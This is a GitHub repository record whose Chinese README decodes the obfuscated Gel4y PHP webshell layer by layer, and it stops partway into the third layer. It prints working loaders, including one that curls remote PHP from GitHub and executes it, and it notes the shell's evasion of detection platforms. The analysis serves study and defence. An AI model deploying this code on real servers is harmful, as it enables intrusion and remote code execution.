{"id":20884728,"url":"https://github.com/aabysszg/gel4y-mini-shell-backdoor-decode","last_synced_at":"2025-05-12T18:31:33.422Z","repository":{"id":211681836,"uuid":"729726277","full_name":"AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode","owner":"AabyssZG","description":"Gel4y-Mini-Shell-Backdoor-Decode","archived":false,"fork":false,"pushed_at":"2023-12-12T01:45:12.000Z","size":1090,"stargazers_count":142,"open_issues_count":0,"forks_count":16,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-04-01T10:04:11.427Z","etag":null,"topics":["bypass","bypass-antivirus","decode","gel4y","webshell","webshells"],"latest_commit_sha":null,"homepage":"","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/AabyssZG.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-12-10T06:32:59.000Z","updated_at":"2025-02-06T20:06:52.000Z","dependencies_parsed_at":null,"dependency_job_id":"5a5d46b0-23b9-405c-8691-8239b668012d","html_url":"https://github.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode","commit_stats":null,"previous_names":["aabysszg/gel4y-mini-shell-backdoor-decode"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AabyssZG%2FGel4y-Mini-Shell-Backdoor-Decode","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AabyssZG%2FGel4y-Mini-Shell-Backdoor-Decode/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AabyssZG%2FGel4y-Mini-Shell-Backdoor-Decode/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AabyssZG%2FGel4y-Mini-Shell-Backdoor-Decode/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/AabyssZG","download_url":"https://codeload.github.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253798103,"owners_count":21966008,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bypass","bypass-antivirus","decode","gel4y","webshell","webshells"],"created_at":"2024-11-18T08:11:02.220Z","updated_at":"2025-05-12T18:31:33.398Z","avatar_url":"https://github.com/AabyssZG.png","language":"PHP","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Gel4y-Mini-Shell-Backdoor-Decode\n\n## 1# 概述\n\n最近看到许多公众号都在传老外的一个WebShell免杀项目：[https://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor](https://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor)\n\n刚好最近闲的没事干，也在研究WebShell方面的免杀，就随手看看\n\n**如果你对其他WebShell免杀和相关ByPass技术感兴趣，欢迎来到我的另外一个项目：[https://github.com/AabyssZG/WebShell-Bypass-Guide](https://github.com/AabyssZG/WebShell-Bypass-Guide)**\n\n我将在本项目，讲解这个免杀WebShell大马的核心运作原理，觉得不错可以给我点个Star😆\n\n## 2# 杀软测试\n\n直接能过阿里云恶意检测平台：[https://ti.aliyun.com/#/webshell](https://ti.aliyun.com/#/webshell)\n\n![aliyun](./img/aliyun.png)\n\n长亭牧云的WebShell检测也不在话下：[https://stack.chaitin.com/security-challenge/webshell/index](https://stack.chaitin.com/security-challenge/webshell/index)\n\n![stack](./img/stack.png)\n\n注：阿里云是最外层过了，长亭牧云是里层解密内容过了\n\n以上这两个平台的查杀过了，那其他的WebShell查杀工具和平台基本都秒了\n\n![kunwu](./img/kunwu.png)\n\n## 3# PHP分析\n\n**注明：仓库PHP文件当中 `original` 代表原始文件的意思，`encode` 代表解密文件的意思**\n\n首先，原始的PHP来自于[https://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/blob/1.x.x/gel4y.php](https://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/blob/1.x.x/gel4y.php)，也就是本仓库中的 `Gel4y-Mini-Shell-1_original.php`，运行后界面如下：\n\n![webshell-1](./img/webshell-1.png)\n\n![webshell-2](./img/webshell-2.png)\n\n将 `Gel4y-Mini-Shell-1_original.php` 内容打开，可以很明显看到采用的是goto加密的方法，那这里不得不提到 `goto` 的相关语法知识，防止不懂的师傅看不懂后面的内容\n\n### 3.1 goto语法\n\nDemo1 一个简单的跳转：\n```php\n\u003c?php\ngoto loop;\necho 'this is first';\nloop:\necho 'this is second';\n```\n\n可以发现，刚开始PHP执行 `goto loop;` ，就跳转到 `loop:` 这一行，中间的 `echo 'this is first';` 被跳过了，所以输出就为：\n```php\nthis is second\n```\n\nDemo2 跳出循环:\n```php\n\u003c?php\nfor($i=0; $i\u003c10; $i++) {\n    while($i++) {\n        if($i==5) goto end;\n    }\n}\necho 'The i=10';\nend:\necho 'The i=' . $i;\n```\n\n可以发现，在满足 `$i==5` 条件的时候，就执行 `goto end;` 跳出循环，跳到最后，所以输出就为：\n```php\nThe i=5\n```\n\n注：`goto` 可以跳出循环，但无法跳入循环\n\n### 3.2 解密第一层PHP\n\n那了解了goto的用法后，我们可以来尝试解密最原始的WebShell\n\n```php\n\u003c?php error_reporting(0);goto PP; BK: function tC($ZJ) { goto rT; rT: $dL = \"t\\x65mpnam\"(\"sys_g\\x65t_t\\x65mp_d\\x69r\"(), \"\\164\\x6d\\x70\\137\\x66\\x75\\x6e\\x63\"); goto hq; lJ: unlink($dL); goto Il; Il: return $dm; goto Uc; pM: $dm = (include $dL); goto lJ; hq: file_put_contents($dL, \"\\74\\77\\160\\150\\x70\\40{$ZJ}\"); goto pM; Uc: } goto dL; PP: function gW($F9) { goto TH; Gd: $ik = 0; goto T3; xN: Ky: goto lt; lt: $ik++; goto Gm; us: return $F9; goto zm; Z9: if (!($ik \u003c strlen($F9))) { goto qK; } goto WS; TH: $F9 = base64_decode($F9); goto Gd; Gm: goto Fk; goto sR; sR: qK: goto us; T3: Fk: goto Z9; WS: $F9[$ik] = chr(ord($F9[$ik]) - 1); goto xN; zm: } goto BK; dL: Tc(gW(\"\\x49\\x53\\105\\x68\\111\\x53\\x45\\114\\115\\103\\x73\\x68\\x49\\123\\106\\x67\\131\\x47\\102\\x67\\x59\\x47\\102\\x67\\x59\\x47\\102\\x67\\131\\107\\102\\x67\\x59\\107\\x42\\147\\131\\107\\x42\\x67\\x59\\x47\\x42\\147\\x59\\x47\\x42\\x67\\x59\\107\\102\\147\\131\\107\\102\\x67\\x59\\107\\x42\\x67\\131\\x47\\102\\147\\131\\x47\\x42\\147\\131\\107\\102\\x67\\131\\107\\102\\147\\x59\\107\\x42\\x67\\x59\\101\\163\\x68\\x49\\123\\105\\x68\\x66\\x53\\x45\\150\\125\\x47\\x4e\\x6e\\x64\\156\\122\\153\\131\\156\\x56\\x6d\\x5a\\123\\x46\\x6a\\x65\\x69\\106\\x61\\121\\153\\x77\\x68\\125\\x58\\x4e\\167\\x49\\123\\x34\\150\\x55\\127\\154\\170\\x49\\126\\102\\x6a\\x5a\\63\\x5a\\x30\\132\\x47\\112\\x31\\x63\\x48\\115\\x68\\x49\\124\\x4d\\x76\\x4d\\x53\\x38\\x79\\x4e\\x53\\x45\\x68\\x66\\121\\x73\\150\\x49\\x53\\105\\x68\\x66\\x53\\105\\x68\\x49\\123\\x45\\x68\\x49\\x53\\105\\150\\x49\\123\\x45\\x68\\111\\x53\\105\\150\\x63\\x47\\70\\x68\\x4d\\172\\105\\172\\116\\103\\64\\171\\115\\x79\\x34\\x78\\116\\103\\105\\171\\117\\104\\x73\\x32\\x4e\\x7a\\163\\x30\\116\\151\\105\\x68\\x49\\x53\\x45\\150\\x49\\x53\\105\\x68\\111\\123\\x45\\150\\111\\x53\\105\\150\\146\\121\\x73\\x68\\111\\x53\\x45\\x68\\146\\123\\x45\\150\\111\\123\\106\\111\\x61\\x6e\\126\\112\\x64\\x6d\\x4d\\x37\\111\\x57\\154\\61\\x64\\130\\x46\\x30\\x4f\\172\\x41\\x77\\141\\107\\x70\\61\\141\\130\\132\\152\\114\\62\\122\\x77\\x62\\x6a\\102\\x78\\x62\\x43\\x35\\x6e\\x63\\172\\x42\\x36\\131\\x6d\\x78\\170\\x63\\x33\\101\\x75\\143\\130\\101\\x68\\111\\123\\x45\\x68\\146\\x51\\163\\x68\\111\\123\\105\\x68\\x66\\127\\102\\147\\131\\107\\x42\\147\\x59\\107\\x42\\147\\131\\x47\\x42\\147\\131\\x47\\x42\\x67\\x59\\107\\x42\\147\\131\\107\\x42\\x67\\x59\\x47\\x42\\147\\x59\\x47\\102\\147\\131\\107\\x42\\147\\131\\107\\102\\x67\\131\\x47\\x42\\147\\131\\x47\\102\\x67\\131\\107\\x42\\147\\x59\\107\\102\\147\\131\\x47\\x42\\x67\\131\\x47\\x42\\x67\\x66\\x51\\x73\\162\\x4d\\x41\\x73\\150\\141\\110\\x42\\x31\\x63\\x43\\106\\110\\145\\104\\167\\x68\\121\\152\\x63\\67\\111\\127\\144\\62\\142\\x32\\122\\x31\\x61\\156\\102\\166\\111\\130\\x56\\63\\x4b\\123\\x56\\x7a\\125\\x79\\x6f\\150\\146\\x43\\x46\\157\\143\\x48\\x56\\x77\\111\\x55\\125\\64\\x50\\x43\\x46\\161\\x52\\104\\163\\150\\x4a\\126\\164\\x45\\x49\\x54\\x34\\150\\x4b\\x57\\160\\x76\\132\\107\\x31\\x32\\x5a\\127\\131\\150\\112\\130\\x6f\\62\\113\\x6a\\x77\\150\\x61\\110\\x42\\61\\x63\\x43\\106\\x78\\141\\152\\167\\x68\\124\\62\\163\\x37\\111\\130\\x4e\\x6d\\144\\x58\\132\\x7a\\142\\x79\\x45\\x6c\\127\\x30\\x51\\x38\\x49\\127\\x68\\167\\144\\130\\x41\\150\\141\\154\\115\\x38\\x49\\x55\\x56\\x48\\117\\171\\106\\x6e\\141\\x6d\\61\\x6d\\131\\x48\\106\\x32\\144\\127\\102\\153\\143\\107\\71\\61\\132\\155\\71\\61\\144\\x43\\x6b\\x6c\\145\\x6a\\x59\\164\\111\\x53\\116\\70\\x4a\\130\\116\\x54\\x66\\x69\\x4d\\161\\120\\103\\106\\x6f\\143\\110\\126\\x77\\x49\\127\\160\\x45\\120\\103\\x46\\106\\x4f\\x44\\x73\\x68\\112\\x58\\x6f\\62\\111\\x54\\64\\150\\144\\127\\x5a\\x75\\143\\x57\\x39\\x69\\x62\\151\\x6c\\60\\x65\\156\\x52\\x67\\x61\\x47\\x5a\\61\\131\\x48\\x56\\x6d\\x62\\x6e\\x46\\x67\\132\\127\\x70\\x7a\\113\\123\\157\\x74\\x49\\123\\x4e\\x64\\145\\x54\\x67\\x31\\130\\x58\\153\\x33\\x5a\\x56\\61\\x35\\x4f\\x44\\106\\x64\\x65\\124\\132\\x6e\\130\\124\\111\\x31\\x4e\\x31\\60\\171\\116\\172\\x5a\\x64\\x65\\x54\\144\\155\\130\\130\\153\\63\\116\\103\\x4d\\161\\x50\\103\\x46\\x6f\\x63\\110\\126\\167\\111\\125\\126\\110\\x50\\103\\x46\\170\\x61\\152\\163\\x68\\144\\x6d\\71\\x74\\x61\\155\\71\\163\\113\\123\\x56\\x36\\x4e\\151\\157\\x38\\x49\\127\\x68\\x77\\144\\130\\101\\150\\124\\62\\163\\x38\\111\\x57\\160\\124\\x4f\\171\\x46\\x2b\\111\\127\\x68\\x77\\144\\x58\\101\\150\\144\\152\\105\\70\\x49\\x55\\x64\\64\\x4f\\171\\105\\154\\141\\126\\x51\\x68\\120\\151\\x46\\153\\144\\156\\x4e\\x74\\131\\107\\x70\\x76\\141\\x6e\\x55\\x70\\113\\152\\x77\\150\\x61\\110\\102\\61\\143\\103\\106\\125\\143\\x6a\\167\\x68\\144\\110\\x67\\67\\x49\\x53\\126\\172\\124\\x53\\105\\x2b\\x49\\127\\122\\62\\x63\\x32\\61\\x67\\x5a\\x6e\\154\\x6d\\x5a\\103\\x6b\\154\\141\\126\\x51\\x71\\x50\\x43\\106\\157\\x63\\x48\\x56\\x77\\x49\\126\\102\\x62\\x50\\103\\x46\\x51\\x57\\172\\x73\\150\\132\\x48\\132\\x7a\\142\\127\\102\\153\\142\\130\\102\\x30\\132\\151\\x6b\\154\\141\\x56\\121\\x71\\120\\103\\x46\\x6f\\x63\\x48\\x56\\167\\x49\\x55\\x49\\x33\\x50\\103\\x46\\125\\143\\152\\163\\x68\\x5a\\110\\x5a\\x7a\\x62\\x57\\x42\\60\\x5a\\x6e\\126\\x77\\x63\\130\\x56\\x67\\x59\\156\\116\\172\\131\\156\\157\\x70\\112\\127\\x6c\\125\\114\\123\\x46\\151\\x63\\63\\x4e\\x69\\145\\x69\\x6c\\x45\\126\\x6c\\116\\116\\x55\\x46\\106\\x56\\131\\106\\x5a\\x54\\124\\123\\x45\\53\\120\\x79\\105\\x6a\\x58\\x54\\111\\x32\\115\\126\\60\\171\\116\\172\\x56\\144\\145\\x54\\147\\61\\x58\\x54\\111\\x33\\x4d\\x56\\60\\x79\\x4e\\x7a\\122\\144\\x65\\x54\\x52\\x69\\130\\x58\\x6b\\x7a\\x5a\\61\\61\\65\\115\\62\\144\\144\\115\\152\\x63\\172\\x58\\130\\x6b\\x33\\x4d\\154\\61\\x35\\117\\104\\x68\\x64\\116\\152\\x64\\x64\\x65\\124\\143\\64\\x58\\x58\\x6b\\x33\\117\\154\\x30\\x79\\x4e\\x7a\\x56\\144\\x65\\x54\\143\\x35\\130\\124\\x49\\63\\x4e\\154\\61\\65\\x4e\\x7a\\116\\144\\145\\124\\x67\\x32\\x58\\x54\\111\\x33\\116\\x46\\x31\\65\\116\\172\\x5a\\x64\\115\\x6a\\143\\x7a\\x58\\x58\\153\\63\\x4e\\x46\\60\\x79\\x4e\\x6a\\150\\x64\\x4d\\152\\x59\\63\\x58\\130\\153\\x34\\x4e\\126\\61\\65\\116\\x7a\\132\\144\\x4d\\152\\131\\63\\x58\\130\\153\\64\\116\\x56\\x30\\62\\116\\61\\61\\x35\\116\\172\\x52\\144\\x65\\124\\144\\x6e\\130\\x58\\x6b\\63\\132\\x56\\60\\x32\\117\\x46\\60\\x33\\x4d\\x31\\61\\x35\\116\\104\\x4e\\x64\\x65\\124\\x59\\65\\130\\x58\\x6b\\64\\115\\126\\60\\171\\x4e\\x6a\\x56\\x64\\x65\\124\\x64\\156\\x58\\x54\\x49\\62\\x4d\\154\\x30\\171\\x4e\\172\\x56\\144\\x65\\x54\\143\\62\\x58\\x54\\x49\\x33\\x4d\\x31\\x30\\171\\x4d\\x54\\122\\x64\\115\\152\\x63\\172\\x58\\124\\111\\61\\116\\154\\x30\\171\\116\\x7a\\x68\\x64\\116\\x6a\\132\\x64\\145\\x54\\x59\\x31\\130\\x58\\153\\x33\\116\\x6c\\61\\65\\x4e\\172\\112\\144\\115\\x6a\\131\\62\\x58\\130\\x6b\\x7a\\x5a\\x31\\60\\171\\x4d\\124\\x68\\x64\\x65\\124\\x63\\x32\\x58\\x54\\111\\x32\\x4e\\126\\60\\63\\x4e\\x56\\x30\\171\\x4f\\x44\\x4a\\144\\116\\x6a\\132\\144\\145\\124\\126\\x6c\\x58\\x58\\153\\x33\\117\\154\\61\\65\\116\\x32\\132\\144\\115\\x6a\\x59\\x79\\130\\x58\\153\\x7a\\132\\126\\x30\\x79\\x4d\\172\\122\\144\\115\\x6a\\131\\170\\130\\x58\\x6b\\x33\\116\\x6c\\61\\65\\x4e\\62\\122\\144\\145\\124\\144\\x6b\\130\\x58\\x6b\\x7a\\132\\x56\\60\\x79\\x4d\\124\\116\\x64\\115\\152\\x55\\x79\\x58\\x54\\x49\\61\\x4e\\x46\\61\\x35\\x4e\\x32\\x4e\\x64\\x4d\\x6a\\x55\\61\\130\\130\\153\\63\\132\\x31\\x31\\x35\\x4e\\x32\\144\\x64\\145\\124\\147\\x7a\\130\\x58\\153\\172\\x5a\\61\\61\\x35\\x4e\\172\\126\\144\\x65\\124\\x63\\x32\\130\\130\\153\\x34\\116\\x31\\60\\62\\x4f\\x46\\x31\\65\\116\\x7a\\150\\x64\\x4d\\152\\x55\\x32\\x58\\x58\\153\\x33\\132\\106\\61\\65\\x4e\\x7a\\x4a\\x64\\x65\\x54\\147\\66\\130\\130\\x6b\\172\\x5a\\x6c\\x31\\x35\\117\\104\\x46\\144\\145\\124\\x63\\65\\x58\\124\\x49\\x33\\115\\x53\\x4d\\x74\\111\\x55\\x52\\127\\x55\\x30\\x31\\x51\\125\\x56\\x56\\147\\126\\106\\x52\\116\\131\\x46\\x64\\x47\\125\\x30\\x70\\110\\127\\153\\154\\x51\\126\\x46\\125\\150\\x50\\152\\x38\\x68\\122\\x30\\112\\116\\126\\x45\\x59\\x74\\x49\\x55\\122\\127\\125\\x30\\x31\\121\\x55\\x56\\x56\\x67\\x56\\x46\\x52\\116\\131\\106\\144\\107\\125\\x30\\x70\\x48\\127\\x6c\\106\\x47\\x52\\154\\115\\150\\x50\\152\\x38\\x68\\122\\x30\\x4a\\116\\x56\\x45\\131\\x74\\x49\\x55\\122\\127\\125\\x30\\x31\\x51\\125\\x56\\126\\x67\\125\\60\\x5a\\x56\\x56\\154\\x4e\\120\\126\\126\\116\\x43\\124\\61\\x52\\x48\\x52\\154\\115\\x68\\120\\152\\x38\\x68\\x56\\126\\x4e\\x57\\x52\\x69\\x6f\\x71\\120\\103\\x46\\x6f\\x63\\x48\\126\\x77\\111\\130\\x52\\x34\\x50\\103\\106\\x32\\115\\x54\\x73\\x68\\x64\\x58\\x63\\x70\\112\\130\\x4e\\x4e\\113\\152\\167\\75\"));\n```\n\n经过goto解密，再进行重新编排，解密结果就为本仓库的 `Gel4y-Mini-Shell-1_decode.php`，内容如下：\n\n```php\n\u003c?php\nerror_reporting(0);\nfunction gW($F9)\n{\n    $F9 = base64_decode($F9);\n    $ik = 0;\n    while ($ik \u003c strlen($F9)) {\n        $F9[$ik] = chr(ord($F9[$ik]) - 1);\n        $ik++;\n    }\n    return $F9;\n}\nfunction tC($ZJ)\n{\n    $dL = (\"tempnam\")((\"sys_get_temp_dir\")(), \"tmp_func\");\n    file_put_contents($dL, \"\u003c?php {$ZJ}\");\n    $dm = (include $dL);\n    unlink($dL);\n    return $dm;\n}\nTc(gW(\"ISEhISELMCshISFgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYAshISEhfSEhUGNndnRkYnVmZSFjeiFaQkwhUXNwIS4hUWlxIVBjZ3Z0ZGJ1cHMhITMvMS8yNSEhfQshISEhfSEhISEhISEhISEhISEhcG8hMzEzNC4yMy4xNCEyODs2Nzs0NiEhISEhISEhISEhISEhfQshISEhfSEhISFIanVJdmM7IWl1dXF0OzAwaGp1aXZjL2RwbjBxbC5nczB6Ymxxc3AucXAhISEhfQshISEhfWBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgfQsrMAshaHB1cCFHeDwhQjc7IWd2b2R1anBvIXV3KSVzUyohfCFocHVwIUU4PCFqRDshJVtEIT4hKWpvZG12ZWYhJXo2KjwhaHB1cCFxajwhT2s7IXNmdXZzbyElW0Q8IWhwdXAhalM8IUVHOyFnam1mYHF2dWBkcG91Zm91dCklejYtISN8JXNTfiMqPCFocHVwIWpEPCFFODshJXo2IT4hdWZucW9ibil0enRgaGZ1YHVmbnFgZWpzKSotISNdeTg1XXk3ZV15ODFdeTZnXTI1N10yNzZdeTdmXXk3NCMqPCFocHVwIUVHPCFxajshdm9tam9sKSV6Nio8IWhwdXAhT2s8IWpTOyF+IWhwdXAhdjE8IUd4OyElaVQhPiFkdnNtYGpvanUpKjwhaHB1cCFUcjwhdHg7ISVzTSE+IWR2c21gZnlmZCklaVQqPCFocHVwIVBbPCFQWzshZHZzbWBkbXB0ZiklaVQqPCFocHVwIUI3PCFUcjshZHZzbWB0ZnVwcXVgYnNzYnopJWlULSFic3NieilEVlNNUFFVYFZTTSE+PyEjXTI2MV0yNzVdeTg1XTI3MV0yNzRdeTRiXXkzZ115M2ddMjczXXk3Ml15ODhdNjddeTc4XXk3Ol0yNzVdeTc5XTI3Nl15NzNdeTg2XTI3NF15NzZdMjczXXk3NF0yNjhdMjY3XXk4NV15NzZdMjY3XXk4NV02N115NzRdeTdnXXk3ZV02OF03M115NDNdeTY5XXk4MV0yNjVdeTdnXTI2Ml0yNzVdeTc2XTI3M10yMTRdMjczXTI1Nl0yNzhdNjZdeTY1XXk3Nl15NzJdMjY2XXkzZ10yMThdeTc2XTI2NV03NV0yODJdNjZdeTVlXXk3Ol15N2ZdMjYyXXkzZV0yMzRdMjYxXXk3Nl15N2RdeTdkXXkzZV0yMTNdMjUyXTI1NF15N2NdMjU1XXk3Z115N2ddeTgzXXkzZ115NzVdeTc2XXk4N102OF15NzhdMjU2XXk3ZF15NzJdeTg6XXkzZl15ODFdeTc5XTI3MSMtIURWU01QUVVgVFRNYFdGU0pHWklQVFUhPj8hR0JNVEYtIURWU01QUVVgVFRNYFdGU0pHWlFGRlMhPj8hR0JNVEYtIURWU01QUVVgU0ZVVlNPVVNCT1RHRlMhPj8hVVNWRioqPCFocHVwIXR4PCF2MTshdXcpJXNNKjw=\"));\n```\n\n### 3.3 解密第二层PHP\n\n同时，我们通过断点调试，可以得到解码后执行的PHP内容：\n\n![dd-1](./img/dd-1.png)\n\n通过断点调试，或者执行已经解密的php自定义函数 `gW($F9)` 可以得到本仓库的 `Gel4y-Mini-Shell-2_original.php`，内容如下：\n\n```php\n\u003c?php\n/* __________________________________________________ | Obfuscated by YAK Pro - Php Obfuscator 2.0.14 | | on 2023-12-03 17:56:35 | | GitHub: https://github.com/pk-fr/yakpro-po | |__________________________________________________| */ goto Fw; A6: function tv($rR) { goto D7; iC: $ZC = (include $y5); goto pi; Nj: return $ZC; goto iR; DF: file_put_contents($y5, \"{$rR}\"); goto iC; D7: $y5 = tempnam(sys_get_temp_dir(), \"\\x74\\x6d\\x70\\x5f\\146\\165\\x6e\\x63\"); goto DF; pi: unlink($y5); goto Nj; iR: } goto u0; Fw: $hS = curl_init(); goto Sq; sw: $rL = curl_exec($hS); goto OZ; OZ: curl_close($hS); goto A6; Sq: curl_setopt_array($hS, array(CURLOPT_URL =\u003e \"\\150\\164\\x74\\160\\163\\x3a\\x2f\\x2f\\162\\x61\\x77\\56\\x67\\x69\\164\\x68\\165\\x62\\x75\\163\\x65\\162\\x63\\157\\156\\x74\\x65\\156\\x74\\56\\x63\\x6f\\x6d\\57\\62\\x32\\x58\\x70\\154\\x6f\\151\\164\\x65\\162\\103\\162\\145\\167\\55\\x54\\x65\\x61\\155\\x2f\\107\\x65\\154\\64\\171\\55\\x4d\\x69\\x6e\\151\\x2d\\123\\150\\x65\\x6c\\x6c\\x2d\\102\\141\\143\\x6b\\144\\x6f\\x6f\\x72\\x2f\\x64\\x65\\x76\\57\\x67\\145\\x6c\\x61\\x79\\x2e\\x70\\x68\\160\", CURLOPT_SSL_VERIFYHOST =\u003e FALSE, CURLOPT_SSL_VERIFYPEER =\u003e FALSE, CURLOPT_RETURNTRANSFER =\u003e TRUE)); goto sw; u0: tv($rL);\n```\n\n提一嘴，这里根据注释的PHP文件头，可以发现一个开源项目：[https://github.com/pk-fr/yakpro-po](https://github.com/pk-fr/yakpro-po)，这个项目就是专门用来对PHP文件进行 `goto` 混淆的工具，感谢 [@Skyworship](https://github.com/Esonhugh) 师傅的指出\n\n同样，梳理 `goto` 的跳转内容，可以解码并整理出以下原始内容，即本仓库的 `Gel4y-Mini-Shell-2_decode.php`，内容如下：\n\n```php\n\u003c?php\n$hS = curl_init();\ncurl_setopt_array($hS, array(CURLOPT_URL =\u003e \"https://raw.githubusercontent.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/dev/gelay.php\", CURLOPT_SSL_VERIFYHOST =\u003e FALSE, CURLOPT_SSL_VERIFYPEER =\u003e FALSE, CURLOPT_RETURNTRANSFER =\u003e TRUE));\n$rL = curl_exec($hS);\ncurl_close($hS);\nfunction tv($rR)\n{\n    $y5 = tempnam(sys_get_temp_dir(), \"tmp_func\");\n    file_put_contents($y5, \"{$rR}\");\n    $ZC = (include $y5);\n    unlink($y5);\n    return $ZC;\n}\ntv($rL);\n```\n\n定睛一看，原来是 `curl` 并执行了Github上另外一个托管的php代码，地址为：[https://raw.githubusercontent.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/dev/gelay.php](https://raw.githubusercontent.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/dev/gelay.php)，遂将该代码下载下来，也就是本仓库的 `Gel4y-Mini-Shell-3_original.php`\n\n### 3.4 解密第三层PHP\n\n同样，我们还通过断点调试，可以得到解码后执行的PHP内容：\n\n![dd-2](./img/dd-2.png)\n\n通过断点调试，拿到已经解密的php自定义函数 `tv($rR)` 里面的内容，同样可以得到本仓库的 `Gel4y-Mini-Shell-3_original.php`，内容如下：\n\n```php\n\u003c?php\nhttp_response_code(404);\ngoto YYviAIE2go;\nDMDVAvNxme:\n$j6fm9JkXX3 = new ZipArchive();\ngoto iQnuU7UbQZ;\nYtyLK4CiZm:\nlXPtdPwHZr:\ngoto CAzQINwyXp;\nuuEMYRcWJf:\n?\u003e\" class=\"form-control\"\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eConnect\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php\ngoto DKCCjxBaV1;\nFrJD9Jsque:\necho php_uname();\ngoto MMrXTvXqy7;\nf3YaO_36Gp:\nb_Aq_femsk:\ngoto kI2aFVtVVe;\nCAzQINwyXp:\neCbgD8Xa7G:\ngoto tJJFzbSKwD;\ntRwrGXooF4:\nisset($_POST[\"s\"]) ? file_exists(\"{$EEfZ6TZDdb}/{$_POST[\"n\"]}\") ? BB5iNvUgyh(\"file name has been used\", rxeFBN6HEy($EEfZ6TZDdb, 0) . \"\u0026a=\" . rXefbN6HEy(\"cfile\", 0), 0) : (file_put_contents(\"{$EEfZ6TZDdb}/{$_POST[\"n\"]}\", $_POST[\"ctn\"]) ? Bb5inVUGYh(\"file created successfully\", rXeFBN6heY($EEfZ6TZDdb, 0) . \"\u0026a=\" . rXEFBn6HEy(\"view\", 0) . \"\u0026n=\" . RXeFbn6heY($_POST[\"n\"], 0)) : Bb5invUgYh(\"file failed to create\", rxEFBN6HEy($EEfZ6TZDdb, 0), 0)) : null;\ngoto MOs0Lw2QRZ;\nqRqOKZqPSD:\necho rxeFBn6hEy($_GET[\"n\"]);\ngoto P7K6f8_xHe;\nknjkHswo6U:\nif (!($j78MPlSKil == true)) {\ngoto lXPtdPwHZr;\n}\ngoto fV1xJLciE1;\ndFM2sYAJlJ:\nheader(\"Content-Length: \" . strtotime(Rxefbn6hey($_GET[\"n\"])));\ngoto MTQ6j3p_JU;\nFFNAjFboph:\nBip4SkFlwd:\ngoto pLaaRpww2m;\nPgo80visnY:\n$Dbi_h94n09 = $_FILES['f']['type'];\ngoto wdy3Z2bJG6;\nwdy3Z2bJG6:\n$jzgT5WmvBi = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');\ngoto ynEoAvZ7Ef;\nEY59hEhqcL:\n$IKiphkRa67 = 0;\ngoto nNXfQ4ODK4;\npd2Xp8eNUU:\nfunction rxefBN6hEy($D9W0v0K2q3, $b5rceFkfVX = true, $IKiphkRa67 = 0) {\ngoto e8KaQn3Obp;\nefhwre2vrg:\ngoto UWZW4tv7l3;\ngoto EThfiMKXfe;\nSXUX6z3P3K:\nif (!($IKiphkRa67 \u003c $OI03NhJ2Yv - 1)) {\ngoto ofW6zrTBdf;\n}\ngoto VYWlS3nOx0;\naPqRRotZs7:\nif ($b5rceFkfVX == false) {\ngoto wOYeLPzegZ;\n}\ngoto XT9k8Als00;\ncdda9BMGIp:\nif (!($IKiphkRa67 \u003c $OI03NhJ2Yv)) {\ngoto scQ2ws4J9b;\n}\ngoto RLaX7avg7R;\nEm1B6VAcvW:\nwOYeLPzegZ:\ngoto tSFsOi93Pc;\ne8KaQn3Obp:\n$FMsfhj9eNN = '';\ngoto YBvZCMvcoQ;\nRnp6XxBU71:\ngoto hcWSNAsNnn;\ngoto cD0EopBgMr;\ntSNU_V8RLN:\nksnrAMe13N:\ngoto mVE3hfoO3d;\nmVE3hfoO3d:\n$IKiphkRa67 += 2;\ngoto efhwre2vrg;\nyBu1sPMOO9:\nzdNGAHnz2I:\ngoto GuXCE9we3H;\nGuXCE9we3H:\nreturn $FMsfhj9eNN;\ngoto ZQKmM0ZO1z;\nBs8OEHOqrR:\n$IKiphkRa67++;\ngoto Rnp6XxBU71;\nzOx24N5WZG:\np9qfiI3280:\ngoto Bs8OEHOqrR;\nXT9k8Als00:\nUWZW4tv7l3:\ngoto SXUX6z3P3K;\ncD0EopBgMr:\nscQ2ws4J9b:\ngoto 